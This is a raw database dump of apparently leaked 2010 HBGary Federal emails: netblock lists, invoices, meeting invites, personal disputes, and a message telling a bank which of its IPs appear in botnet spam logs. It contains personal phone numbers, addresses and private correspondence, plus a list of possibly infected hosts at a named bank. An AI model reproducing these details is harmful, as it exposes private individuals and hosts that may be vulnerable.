205.162.11.64;205.162.11.127\r\n> 205.244.158.104;205.244.158.111\r\n> 205.246.137.192;205.246.137.199\r\n> 206.228.172.96;206.228.172.103\r\n> 206.229.97.192;206.229.97.223\r\n> 208.19.16.160;208.19.16.191\r\n> 208.19.79.96;208.19.79.127\r\n> 208.20.149.232;208.20.149.239\r\n> 206.229.9.112;206.229.9.119\r\n> 208.2.203.64;208.2.203.71\r\n> 208.12.120.0;208.12.120.255\r\n> 208.12.121.0;208.12.121.255\r\n> 208.12.122.0;208.12.122.255\r\n> 204.97.84.72;204.97.84.79\r\n> 206.228.170.112;206.228.170.119\r\n> 63.175.65.0;63.175.65.31\r\n> 65.160.161.32;65.160.161.39\r\n> 65.161.169.208;65.161.169.215\r\n> 65.165.199.192;65.165.199.255\r\n> 65.168.235.0;65.168.235.255\r\n> 65.169.82.24;65.169.82.31\r\n> 204.118.7.96;204.118.7.127\r\n> 198.70.200.8;198.70.200.15\r\n> 204.118.7.128;204.118.7.255\r\n> 208.2.72.0;208.2.73.255\r\n> 208.4.26.32;208.4.26.63\r\n> 208.7.9.48;208.7.9.55\r\n> 208.8.12.112;208.8.12.119\r\n> 208.20.220.0;208.20.220.255\r\n> 208.23.198.16;208.23.198.23\r\n> 64.132.233.128;64.132.233.143\r\n> 216.74.147.168;216.74.147.175\r\n> 165.193.120.8;165.193.120.15\r\n> 12.52.81.240;12.52.81.247\r\n> 64.172.8.48;64.172.8.55\r\n> 68.89.81.208;68.89.81.215\r\n> 66.140.248.160;66.140.248.191\r\n> 66.138.220.168;66.138.220.175\r\n> 64.169.174.224;64.169.174.231\r\n> 67.113.106.56;67.113.106.63\r\n> 209.76.9.72;209.76.9.79\r\n> 208.239.171.168;208.239.171.175\r\n> 67.125.218.152;67.125.218.159\r\n> 65.66.7.56;65.66.7.63\r\n> 64.165.39.0;64.165.39.7\r\n> 67.121.9.152;67.121.9.159\r\n> 66.137.162.160;66.137.162.191\r\n> 68.163.82.80;68.163.82.95\r\n> 65.51.235.128;65.51.235.135\r\n> 208.251.123.192;208.251.123.199\r\n> 71.134.82.0;71.134.82.127\r\n> 65.197.250.240;65.197.250.247\r\n> 65.215.44.24;65.215.44.31\r\n> 70.106.7.96;70.106.7.127\r\n> 64.83.35.160;64.83.35.167\r\n> 69.27.88.192;69.27.88.199\r\n> 24.38.23.120;24.38.23.127\r\n> 216.180.63.0;216.180.63.15\r\n> 66.20.216.40;66.20.216.47\r\n> 64.165.24.216;64.165.24.223\r\n> 65.71.186.200;65.71.186.207\r\n> 64.170.94.64;64.170.94.71\r\n> 63.203.2.232;63.203.2.239\r\n> 63.204.213.200;63.204.213.207\r\n> 68.121.176.232;68.121.176.239\r\n> 66.126.161.216;66.126.161.223\r\n> 64.163.147.136;64.163.147.143\r\n> 68.121.178.128;68.121.178.135\r\n> 64.168.19.16;64.168.19.23\r\n> 68.123.245.104;68.123.245.111\r\n> 67.112.183.48;67.112.183.55\r\n> 65.242.59.120;65.242.59.127\r\n> 69.110.86.248;69.110.86.255\r\n> 63.206.114.184;63.206.114.191\r\n> 63.202.191.32;63.202.191.39\r\n> 63.203.33.88;63.203.33.95\r\n> 69.232.11.144;69.232.11.159\r\n> 71.134.16.96;71.134.16.103\r\n> 71.138.233.96;71.138.233.127\r\n> 71.140.96.200;71.140.96.207\r\n> 75.5.171.248;75.5.171.255\r\n> 75.9.138.144;75.9.138.151\r\n> 99.178.89.88;99.178.89.95\r\n> 99.178.89.96;99.178.89.103\r\n> 99.183.154.168;99.183.154.175\r\n> 99.187.102.112;99.187.102.119\r\n> 69.108.130.72;69.108.130.79\r\n> 63.194.2.168;63.194.2.175\r\n> 155.212.219.192;155.212.219.255\r\n> 65.246.82.160;65.246.82.175\r\n> 204.15.19.216;204.15.19.223\r\n> 208.255.145.224;208.255.145.231\r\n> 65.210.81.168;65.210.81.175\r\n> 67.192.98.136;67.192.98.143\r\n> 98.129.175.24;98.129.175.31\r\n> 65.242.89.128;65.242.89.135\r\n> 67.123.171.144;67.123.171.151\r\n> 71.131.118.224;71.131.118.231\r\n> 65.71.179.248;65.71.179.255\r\n> 70.137.78.24;70.137.78.31\r\n> 76.229.68.240;76.229.68.247\r\n> 69.37.71.88;69.37.71.95\r\n> 70.248.205.0;70.248.205.7\r\n> 71.128.76.56;71.128.76.63\r\n> 71.128.180.176;71.128.180.183\r\n> 71.133.15.88;71.133.15.95\r\n> 71.140.131.80;71.140.131.87\r\n> 70.132.154.112;70.132.154.119\r\n> 71.158.76.48;71.158.76.63\r\n> 76.195.149.232;76.195.149.239\r\n> 76.202.202.208;76.202.202.223\r\n> 99.181.230.184;99.181.230.191\r\n> 99.181.230.192;99.181.230.199\r\n>\r\n> --\r\n> Ted H. Vera\r\n> President | COO\r\n> HBGary Federal\r\n> 719-237-8623\r\n',8202,'aaron_hbgary_com/8202.html'),(7066,'2010-06-04','\"Sheri Page\" <sheri@executivebiz.com>','/aaron@hbgary.com/new/1297005141.M902215P14101Q1921.eml','aaron@hbgary.com,aaron@hbgary.com','FW: Invoice from ExecutiveBiz','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron &#8211; greetings to you!&nbsp; Just following up on the status of\r\nthe attached invoice that was sent to you back in April.&nbsp; Many thanks for your\r\nhelp &#8211; have a great weekend!\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nSheri Page\r\n\r\nThe Potomac Officers Club and ExecutiveBiz\r\n\r\n8230 Old Courthouse Road, Suite 460\r\n\r\nVienna, VA&nbsp; 22182\r\n\r\nPhone:&nbsp; 703-752-7449\r\n\r\nFax:&nbsp; 703-752-7454\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Sheri Page\r\n[mailto:sheri@executivebiz.com] \r\nSent: Tuesday, April 20, 2010 1:44 PM\r\nTo: \'aaron@hbgary.com\'\r\nCc: Alyce Morrison\r\nSubject: Invoice from ExecutiveBiz\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nAaron &#8211; attached is the invoice for your ExecutiveBiz 4 x\r\n24.&nbsp; Many thanks in advance for your help in getting this processed and\r\nthanks for your awesome support of ExecutiveBiz.\r\n\r\n&nbsp;\r\n\r\nBest regards.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nSheri Page\r\n\r\nThe Potomac Officers Club and ExecutiveBiz\r\n\r\n8230 Old Courthouse Road, Suite 460\r\n\r\nVienna, VA&nbsp; 22182\r\n\r\nPhone:&nbsp; 703-752-7449\r\n\r\nFax:&nbsp; 703-752-7454\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',8,'aaron_hbgary_com/8.html'),(7067,'2010-06-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005142.M134808P14101Q1922.eml','\"Sheri Page\" <sheri@executivebiz.com>','Re: Invoice from ExecutiveBiz','Sheri,Sure.  I will check.  Sorry for delay.AaronSent from my iPadOn Jun 4, 2010, at 12:09 PM, Sheri Page &lt;sheri@executivebiz.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nAaron – greetings to you!  Just following up on the status of\r\nthe attached invoice that was sent to you back in April.  Many thanks for your\r\nhelp – have a great weekend!\r\n\r\n \r\n\r\n\r\n\r\nSheri Page\r\n\r\nThe Potomac Officers Club and ExecutiveBiz\r\n\r\n8230 Old Courthouse Road, Suite 460\r\n\r\nVienna, VA  22182\r\n\r\nPhone:  703-752-7449\r\n\r\nFax:  703-752-7454\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Sheri Page\r\n[mailto:sheri@executivebiz.com] \r\nSent: Tuesday, April 20, 2010 1:44 PM\r\nTo: &#39;aaron@hbgary.com&#39;\r\nCc: Alyce Morrison\r\nSubject: Invoice from ExecutiveBiz\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nAaron – attached is the invoice for your ExecutiveBiz 4 x\r\n24.  Many thanks in advance for your help in getting this processed and\r\nthanks for your awesome support of ExecutiveBiz.\r\n\r\n \r\n\r\nBest regards.\r\n\r\n \r\n\r\n\r\n\r\nSheri Page\r\n\r\nThe Potomac Officers Club and ExecutiveBiz\r\n\r\n8230 Old Courthouse Road, Suite 460\r\n\r\nVienna, VA  22182\r\n\r\nPhone:  703-752-7449\r\n\r\nFax:  703-752-7454\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&lt;Invoice_3297_from_ExecutiveBiz.pdf&gt;\r\n',15290,'aaron_hbgary_com/15290.html'),(7068,'2010-06-04','\"Heider, Raymond A (TASC)\" <raymond.heider@TASC.COM>','/aaron@hbgary.com/new/1297005142.M346415P14101Q1923.eml','\"Pisani, Albert A. (TASC)\" <albert.pisani@TASC.COM>,\"Lovegrove, John (TASC)\" <John.Lovegrove@tasc.com>,\"Rademacher, Michael B (TASC)\" <michael.rademacher@TASC.COM>,aaron@hbgary.com','COIN Technology','\r\n\r\n\r\n\r\n\r\nCOIN Technology\r\n\r\n\r\n\r\n\r\nWhen: Monday, June 07, 2010 3:30 PM-4:30 PM (GMT-05:00) Eastern Time (US &amp; Canada).\r\n\r\nWhere: SCIF Conf. Room 3E (Westfields 3)\r\n\r\nNote: The GMT offset above does not reflect daylight saving time adjustments.\r\n\r\n*~*~*~*~*~*~*~*~*~*\r\n\r\n\r\n\r\n\r\n',427,'aaron_hbgary_com/427.html'),(7069,'2010-06-04','\"Heider, Raymond A (TASC)\" <raymond.heider@TASC.COM>','/aaron@hbgary.com/new/1297005142.M609734P14101Q1924.eml','\"Aaron Barr\" <aaron@hbgary.com>','FW: COIN Technology','\r\n\r\n\r\n\r\n\r\nFW: COIN Technology\r\n\r\n\r\n\r\n\r\nWhen: Monday, June 07, 2010 3:30 PM-4:30 PM (GMT-05:00) Eastern Time (US &amp; Canada).\r\n\r\nWhere: SCIF Conf. Room 3E (Westfields 3)\r\n\r\nNote: The GMT offset above does not reflect daylight saving time adjustments.\r\n\r\n*~*~*~*~*~*~*~*~*~*\r\n\r\n\r\n\r\n\r\n\r\n-----Original Appointment-----\r\nFrom: Turner, Susan A (TASC) On Behalf Of Heider, Raymond A (TASC)\r\nSent: Friday, June 04, 2010 2:40 PM\r\nTo: Heider, Raymond A (TASC); Pisani, Albert A.; Lovegrove, John (TASC Inc); Rademacher, Michael B (TASC Inc); aaron@hbgary.com\r\nSubject: COIN Technology\r\nWhen: Monday, June 07, 2010 3:30 PM-4:30 PM (GMT-05:00) Eastern Time (US &amp; Canada).\r\nWhere: SCIF Conf. Room 3E (Westfields 3)\r\n\r\n\r\n\r\n\r\n\r\n\r\n',10715,'aaron_hbgary_com/10715.html'),(7070,'2010-06-04','\"Heider, Raymond A (TASC)\" <raymond.heider@TASC.COM>','/aaron@hbgary.com/new/1297005142.M893197P14101Q1925.eml','\"Pisani, Albert A. (TASC)\" <albert.pisani@TASC.COM>,\"Lovegrove, John (TASC)\" <John.Lovegrove@tasc.com>,\"Rademacher, Michael B (TASC)\" <michael.rademacher@TASC.COM>,aaron@hbgary.com','COIN Technology','\r\n\r\n\r\n\r\n\r\nCOIN Technology\r\n\r\n\r\n\r\n\r\nWhen: Monday, June 07, 2010 3:00 PM-4:00 PM (GMT-05:00) Eastern Time (US &amp; Canada).\r\n\r\nWhere: SCIF Conf. Room 3E (Westfields 3)\r\n\r\nNote: The GMT offset above does not reflect daylight saving time adjustments.\r\n\r\n*~*~*~*~*~*~*~*~*~*\r\n\r\n\r\n\r\n\r\n',1749,'aaron_hbgary_com/1749.html'),(7071,'2010-06-04','\"Heider, Raymond A (TASC)\" <raymond.heider@TASC.COM>','/aaron@hbgary.com/new/1297005143.M127675P14101Q1926.eml','\"Pisani, Albert A. (TASC)\" <albert.pisani@TASC.COM>,\"Lovegrove, John (TASC)\" <John.Lovegrove@tasc.com>,\"Rademacher, Michael B (TASC)\" <michael.rademacher@TASC.COM>,aaron@hbgary.com','COIN Technology','\r\n\r\n\r\n\r\n\r\nCOIN Technology\r\n\r\n\r\n\r\n\r\nWhen: Tuesday, June 08, 2010 3:00 PM-4:00 PM (GMT-05:00) Eastern Time (US &amp; Canada).\r\n\r\nWhere: SCIF Conf. Room 3E (Westfields 3)\r\n\r\nNote: The GMT offset above does not reflect daylight saving time adjustments.\r\n\r\n*~*~*~*~*~*~*~*~*~*\r\n\r\n\r\n\r\n\r\n',3233,'aaron_hbgary_com/3233.html'),(7072,'2010-06-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005143.M364706P14101Q1927.eml','\"Daniel Ingevaldson\" <dsi@endgames.us>','Re: Discuss EGS/HBGary','hey daniel,\r\n\r\nDo you need me to set up a conference # or you just want to call my cell, 7195108478.\r\nAaron\r\n\r\nOn Jun 4, 2010, at 8:22 AM, Daniel Ingevaldson wrote:\r\n\r\n> When: Friday, June 04, 2010 3:30 PM-4:30 PM. Eastern Standard Time\r\n> Where: EGS to call Aaron\r\n> \r\n> *~*~*~*~*~*~*~*~*~*\r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',7811,'aaron_hbgary_com/7811.html'),(7073,'2010-06-04','mark@hbgary.com','/aaron@hbgary.com/new/1297005143.M579303P14101Q1928.eml','aaron@hbgary.com','TestPlan_RevA','\r\n\r\nI\'ve shared TestPlan_RevA\r\nMessage from mark@hbgary.com:\r\n\r\nClick to open:\r\nTestPlan_RevA\r\n\r\n\r\nGoogle Docs makes it easy to create, store and share online documents, spreadsheets and presentations.\r\n',2471,'aaron_hbgary_com/2471.html'),(7074,'2010-06-04','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297005143.M774199P14101Q1929.eml','\"Barr Aaron\" <aaron@hbgary.com>','Timecard','Here are the staffing projection %\'s:\r\n\r\nEmployees	Totals	Direct	B&P	        G&A	        Ovhd 	R&D	\r\nMarketing	PTO	      Holiday\r\nBarr, Aaron	100.00%	20.00%	30.00%	10.00%	0.00%	0.00%	29.23%	7.69%	3.08%\r\n\r\nDirect:  20%\r\nB&P:  30%\r\nG&A:  10%\r\nMarketing:  29.23%\r\nPTO:  7.69%\r\nHoliday:  3.08%\r\nTotal:  100%\r\n',11744,'aaron_hbgary_com/11744.html'),(7075,'2010-06-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005145.M276890P14101Q1930.eml','\"Ted Vera\" <ted@hbgary.com>','PDF','\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',6528,'aaron_hbgary_com/6528.html'),(7076,'2010-06-05','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005145.M651316P14101Q1931.eml','\"Ted Vera\" <ted@hbgary.com>','Discussion','I am tempted to send this to Kathy?  thoughts pse.\r\n\r\nHi Kathy,\r\n\r\nI have been out in Colorado the last few days and have met with friends and colleagues.  For some reason some have been more vocal with their frustrations than in previous visits.  I would like to discuss this with you, if for somewhat selfish reasons.  I grew that team, person by person, and I protected and nurtured that team person by person until I was forced to leave, and to hear some of the things that have been said about me, well I would like to discuss them directly with you.  In the bigger scheme of things I should have put this all behind me but thats not me.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',9157,'aaron_hbgary_com/9157.html'),(7077,'2010-06-05','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297005145.M852339P14101Q1932.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Discussion','I wouldn\'t. Wait till you see her in person and find an opportune time\r\nto bring it up.\r\n\r\n\r\n\r\nOn Jun 4, 2010, at 7:01 PM, Aaron Barr  wrote:\r\n\r\n> I am tempted to send this to Kathy?  thoughts pse.\r\n>\r\n> Hi Kathy,\r\n>\r\n> I have been out in Colorado the last few days and have met with\r\n> friends and colleagues.  For some reason some have been more vocal\r\n> with their frustrations than in previous visits.  I would like to\r\n> discuss this with you, if for somewhat selfish reasons.  I grew that\r\n> team, person by person, and I protected and nurtured that team\r\n> person by person until I was forced to leave, and to hear some of\r\n> the things that have been said about me, well I would like to\r\n> discuss them directly with you.  In the bigger scheme of things I\r\n> should have put this all behind me but thats not me.\r\n>\r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n>\r\n',4555,'aaron_hbgary_com/4555.html'),(7078,'2010-06-05','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005146.M138161P14101Q1933.eml','\"Ted Vera\" <ted@hbgary.com>','exchange','Hey John, I wanted to catch up with you to run a few ideas by you. Check out a company called pointabout.com. I am partnering with them to go after some work and develop some capabilities. Specifically look at their tech appmakr.com. Cool stuff.But then I came out to Colorado and got hit by some information I am just tired of hearing. Why are there some people that are just out to disparage me. I hear Marek was looking for legal recourse to keep me out? Dan is telling people you don\'t like me and don\'t trust me. What the fuck did I ever do but be honest and try to support the growth of that organization? I paid dues that I don\'t think I should have had to have paid and I kept moving forward, putting the past in the past, but I am fed up of cowards continuing to work in shadows to try and pull me down.It was painful enough being pushed out of something I built with my own blood and sweat, something that I nurtured person by person. And being pushed out because I was trying to build something better. I don\'t give a shit how people are trying to spin it today, but our intentions were to build something better. People that I protected stab me in the back, people that when the dust settled had jumped ship. I get whispers that part of the plan that I built and was the reason for me being pushed out is being partially implemented. Can things possibly be this duplicitous.&nbsp;I don\'t want to be a disservice to the team I am supporting, I don\'t want to waste their time or mine developing unwanted capabilities. I just want to get a truth check from you. If its negative, fine. Shit that would probably help yours and my relationship which seems to have spread out with all this shit. Man I am just tired of this John and I don\'t at all feel I deserve it.I am tired of cowards and I either have to much arrogance or pride to ignore it.John Senchak&nbsp;June 4 at 9:18pmI have about had my fill of the bullshit coming out of Colorado. To be honest, I am fed up with it, and just about all of them. There is no vision, no creativity, no integrity, no cohesion, and certainly no loyalty among that \"team\" and that\'s simply unfortunate. I would be glad to wash my hands of the lot of them.For my part, if you haven\'t heard me say it, it\'s just more trash coming from some pathetic, back-stabbing, weak idiots. I can tell you, first-hand, that Marek was not looking for legal recourse, at any time. He has felt frustration, and rightly so, but he has not been vindictive. It pisses me off to hear people manufacturing that kind of shit. And Dan has no personal relationship with me; there is zero chance I would share my personal thoughts about anyone with Dan, or any of the \"management\" out there at this point. Dan is in charge of that team and that\'s what I\'ve got to work with, but it is nothing more than work, and certainly nothing like the shit you and I endured, and the relationship we built. If it\'s not strong enough to withstand the ill winds of jealousy from out west, then it\'s not what I had hoped.When you lead from the front, you are the easiest and most visible target. When someone isn\'t strong enough to shine on his own, he shines by dragging others down. I won\'t stand for it. Don\'t think I won\'t address these issues in my own way.Thanks for the honest dialogue.\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',15436,'aaron_hbgary_com/15436.html'),(7079,'2010-06-05','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005146.M384716P14101Q1934.eml','\"Albert A. Pisani\" <albert.pisani@TASC.com>,\"Raymond Heider\" <raymond.heider@ngc.com>','Conversation','Al/Ray,\r\n\r\nI have some new information.  Our competitions position even with the SAIC/NG partnership isn\'t as strong as I thought it might be based on a conversation I had this evening.  More to discuss next week.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',10949,'aaron_hbgary_com/10949.html'),(7080,'2010-06-05','\"Heider, Raymond A (TASC)\" <raymond.heider@TASC.COM>','/aaron@hbgary.com/new/1297005146.M652875P14101Q1935.eml','aaron@hbgary.com','Re: Conversation','\r\n\r\n\r\n\r\n\r\nRe: Conversation\r\n\r\n\r\n\r\n\r\nThanks.\r\n&nbsp;I see you are meeting w Wood next week.\r\nRay\r\n\r\n----- Original Message -----\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nTo: Pisani, Albert A. (TASC); Heider, Raymond A (TASC)\r\nSent: Fri Jun 04 22:40:25 2010\r\nSubject: Conversation\r\n\r\nAl/Ray,\r\n\r\nI have some new information.&nbsp; Our competitions position even with the SAIC/NG partnership isn\'t as strong as I thought it might be based on a conversation I had this evening.&nbsp; More to discuss next week.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n',10549,'aaron_hbgary_com/10549.html'),(7081,'2010-06-05','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005146.M870476P14101Q1936.eml','\"Heider, Raymond A (TASC)\" <raymond.heider@TASC.COM>','Re: Conversation','yeah. &nbsp;When I saw Wood that day when you were waiting for him he told me to come see him sometime to catch up, so I thought I would do that.AaronOn Jun 5, 2010, at 5:22 AM, Heider, Raymond A (TASC) wrote:\r\n\r\nThanks.\r\n&nbsp;I see you are meeting w Wood next week.\r\nRay\r\n\r\n----- Original Message -----\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nTo: Pisani, Albert A. (TASC); Heider, Raymond A (TASC)\r\nSent: Fri Jun 04 22:40:25 2010\r\nSubject: Conversation\r\n\r\nAl/Ray,\r\n\r\nI have some new information.&nbsp; Our competitions position even with the SAIC/NG partnership isn\'t as strong as I thought it might be based on a conversation I had this evening.&nbsp; More to discuss next week.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',8170,'aaron_hbgary_com/8170.html'),(7082,'2010-06-05','\"Pisani, Albert A. (TASC)\" <albert.pisani@TASC.COM>','/aaron@hbgary.com/new/1297005147.M349122P14101Q1938.eml','aaron@hbgary.com,\"Heider, Raymond A (TASC)\" <raymond.heider@TASC.COM>','Re: Conversation','\r\n\r\n\r\n\r\n\r\nRe: Conversation\r\n\r\n\r\n\r\n\r\nGood news Aaron.\r\nWe need to step up detailed and substabtive conversations to vet our approach and offering.\r\n\r\nTake care\r\nAl\r\n\r\n----- Original Message -----\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nTo: Pisani, Albert A. (TASC); Heider, Raymond A (TASC)\r\nSent: Fri Jun 04 22:40:25 2010\r\nSubject: Conversation\r\n\r\nAl/Ray,\r\n\r\nI have some new information.&nbsp; Our competitions position even with the SAIC/NG partnership isn\'t as strong as I thought it might be based on a conversation I had this evening.&nbsp; More to discuss next week.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n',10583,'aaron_hbgary_com/10583.html'),(7083,'2010-06-05','\"Nima Bagheri\" <nima_bagheri79@yahoo.com>','/aaron@hbgary.com/new/1297005147.M630314P14101Q1939.eml','support@hbgary.com,support@hbgary.com','Greg Email address or phone number','\r\n\r\n\r\n\r\nhi \r\n&nbsp;\r\nmy name is nima bagheri \r\n&nbsp;\r\ni\'m looking for greg email address or phone number \r\n&nbsp;\r\nso please help me\r\n&nbsp;\r\nyou can findout my information here\r\n&nbsp;\r\nwww.nima.tel\r\n&nbsp;\r\nregards, Nima\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',10371,'aaron_hbgary_com/10371.html'),(7084,'2010-06-05','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005147.M98040P14101Q1937.eml','\"Penny Leavy\" <penny@hbgary.com>','Google and SecDev','Hey Penny,\r\n\r\nDo you have a contact for Google?\r\n\r\nSecond.  I had a talk with Rafal (CEO of SecDev) yesterday and this is the gist of what we discussed for  a partnership.\r\n\r\n1. Developing/Integrating with Palantir - I told Rafal that this type of activity was fine to do under the evaluation copy.  Any integrated product sales would require a full license purchase.\r\n2. Marketing Channel Partner - I told him I believe HBGary is interested in having SecDev market and sell HBGary products.\r\n3. Incident Response - This was the area that I told Rafal we not as clear cut and we needed to work some things out.  The term loss leader is a little misleading.  What Rafal wants to do is for the first 8-12 months wrap a cost of using the product into specific engagements.  He is running on a tight budget and doesn\'t want or have it to purchase a license outright, but wants to build case studies and data on proven success stories.  So its not a loss leader, but not a full purchase either.  Thoughts?\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',9326,'aaron_hbgary_com/9326.html'),(7085,'2010-06-05','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297005148.M19916P14101Q1940.eml','\"Barr Aaron\" <aaron@hbgary.com>,mark@hbgary.com','Fwd: botnet discussion','What do you think of the email below?  I\'ll be talking with Sam later\r\ntoday and meeting up with him in Naples next week.\r\n\r\nTed\r\n\r\n\r\n---------- Forwarded message ----------\r\nFrom: Ted Vera \r\nDate: Sat, Jun 5, 2010 at 3:09 PM\r\nSubject: botnet discussion\r\nTo: tamir.ness@rbc.com\r\n\r\n\r\nHi Sam,\r\n\r\nAs we discussed on the phone, HBGary and its partners have technology\r\nwhich allows us to passively enumerate nodes associated with illegal\r\nbot-nets.  As we passively collect this information it is logged to a\r\ndatabase (which is getting quite massive).  After we spoke, I did a\r\nwhois search on www.arin.net to identify the IP netblocks associated\r\nwith Royal Bank of Canada, see below list:\r\n\r\n159.55.0.0;159.55.255.255\r\n192.234.98.0;192.234.98.255\r\n198.203.235.0;198.203.235.255\r\n192.64.159.0;192.64.159.255\r\n192.64.161.0;192.64.164.255\r\n198.96.131.0;198.96.131.255\r\n207.181.111.192;207.181.111.223\r\n206.182.199.128;206.182.199.191\r\n206.182.199.0;206.182.199.63\r\n199.250.8.0;199.250.13.255\r\n170.175.0.0;170.175.255.255\r\n142.245.0.0;142.245.255.255\r\n198.96.128.0;198.96.139.255\r\n198.96.134.0;198.96.134.255\r\n198.96.135.0;198.96.135.255\r\n198.96.136.0;198.96.136.255\r\n198.96.128.0;198.96.128.255\r\n198.96.129.0;198.96.129.255\r\n198.96.130.0;198.96.130.255\r\n198.96.132.0;198.96.132.255\r\n198.96.133.0;198.96.133.255\r\n198.96.137.0;198.96.137.255\r\n198.96.138.0;198.96.138.255\r\n198.96.139.0;198.96.139.255\r\n64.26.141.32;64.26.141.39\r\n\r\nI then queried our database to see if any of these IP addresses have\r\nbeen passively observed in any of the 65 bot-nets that we collect data\r\non and the results are below.  Don\'t put too much weight into the\r\nConfidence value.  We are still working on our confidence algorithm.\r\nAt this point, it basically starts at 100% and then decreases over\r\ntime at different rates, based upon the type of event and the number\r\nof recorded observations.\r\n\r\nAll of these RBC machines may have already been identified and fixed\r\nby your IT security dept, or they could all still be infected.  I\r\nwould suggest that since it is a pretty small number of hosts (~40),\r\nit would be worthwhile for your security team to at least check out\r\nthese machines to see if they have any current bot-net infections,\r\nespecially the ones that were observed most recently:\r\n\r\nIP : 159.55.0.188\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Fri Mar  6 06:59:00 2009 GMT\r\n\r\nIP : 159.55.29.33\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Thu Feb 12 17:59:00 2009 GMT\r\n\r\nIP : 159.55.29.179\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Tue Mar 10 03:59:00 2009 GMT\r\n\r\nIP : 159.55.31.99\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Mon Feb  9 22:59:00 2009 GMT\r\n\r\nIP : 159.55.38.158\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Sun Mar 15 09:59:00 2009 GMT\r\n\r\nIP : 159.55.38.178\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Sat Mar 21 03:59:00 2009 GMT\r\n\r\nIP : 159.55.42.28\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Wed Feb 25 15:59:00 2009 GMT\r\n\r\nIP : 159.55.57.73\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Sat Mar 14 01:59:00 2009 GMT\r\n\r\nIP : 159.55.63.151\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Wed Jan  7 06:59:00 2009 GMT\r\n\r\nIP : 159.55.80.204\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Sun Mar 22 07:59:00 2009 GMT\r\n\r\nIP : 159.55.110.122\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Sun Mar  8 11:59:00 2009 GMT\r\n\r\nIP : 159.55.133.43\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Fri Feb  6 17:59:00 2009 GMT\r\n\r\nIP : 159.55.161.149\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Mon Mar 23 11:59:00 2009 GMT\r\n\r\nIP : 159.55.168.153\r\nConfidence : 27.312005%\r\nEvents :\r\n       Spam : Sun Jan 31 09:59:00 2010 GMT\r\n\r\nIP : 159.55.186.237\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Fri Mar 20 10:59:00 2009 GMT\r\n\r\nIP : 159.55.193.238\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Sun Feb  8 23:59:00 2009 GMT\r\n\r\nIP : 159.55.233.118\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Fri Feb 13 20:59:00 2009 GMT\r\n\r\nIP : 192.64.159.184\r\nConfidence : 32.596871%\r\nEvents :\r\n       Spam : Sat Feb 20 15:59:00 2010 GMT\r\n\r\nIP : 199.250.8.220\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Mon Apr 27 17:59:00 2009 GMT\r\n\r\nIP : 199.250.13.98\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Mon Jun  1 18:59:00 2009 GMT\r\n\r\nIP : 170.175.6.106\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Mon Mar  2 05:59:00 2009 GMT\r\n\r\nIP : 170.175.37.68\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Wed Feb  4 16:59:00 2009 GMT\r\n\r\nIP : 170.175.46.24\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Thu Feb 12 16:59:00 